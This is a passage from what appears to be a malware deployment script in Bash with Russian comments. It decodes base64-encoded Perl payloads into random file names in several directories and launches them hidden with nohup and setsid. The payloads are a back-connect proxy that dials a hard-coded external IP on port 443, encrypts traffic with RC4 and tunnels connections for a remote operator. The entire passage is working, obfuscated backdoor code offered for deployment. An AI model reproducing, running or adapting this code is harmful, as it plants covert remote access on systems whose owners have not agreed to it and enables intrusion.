IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #46 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #46 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 47 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u 